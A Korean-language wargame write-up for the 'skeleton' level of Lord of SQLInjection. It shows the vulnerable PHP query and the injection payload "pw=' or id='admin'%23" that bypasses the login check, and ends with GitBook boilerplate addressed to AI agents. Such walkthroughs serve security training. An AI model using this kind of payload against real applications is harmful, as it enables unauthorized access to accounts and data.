> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-skeleton.md).

# \[Lord Of SQLInjection] skeleton

<figure><img src="https://blog.kakaocdn.net/dna/bAFgKx/btsMBEpMmaf/AAAAAAAAAAAAAAAAAAAAABetlAvMIGTc_MzaZPJSepjdovxGUR-pBHVWDxswTfSo/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=i8kcJsBI%2FQdlcXlb4IbZx4VLkvw%3D" alt="" height="309" width="630"><figcaption></figcaption></figure>

→ 평문 작성을 위해 작성해야할 쿼리를 고려해야한다.

```
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
```

```
if($result['id']=='admin') solve("skeleton");
```

→ 해석해보면 id값은 guest로 고정이 되어있고, pw는 입력 받은 값이며, and 1=0까지 참이 되도록 해야된다.

→ 그럼에도 결과는 id값이 admin이어야 문제가 해결되는 것을 알 수 있다.

→ 그럼, id를 admin으로 만들고 and 1=0(거짓 조건)을 주석 처리(')하면 된다.

```
[도메인값]??pw=' or id='admin'%23
```

<figure><img src="https://blog.kakaocdn.net/dna/mjiHy/btsMBV5SbeO/AAAAAAAAAAAAAAAAAAAAAIvygfkbzlG5xtna_0vjrMlNWzKQT62pGM6W6ZhxdwWd/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=n03FAFKQ52qwyptzZt0lVtITP4g%3D" alt="" height="379" width="809"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-skeleton.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
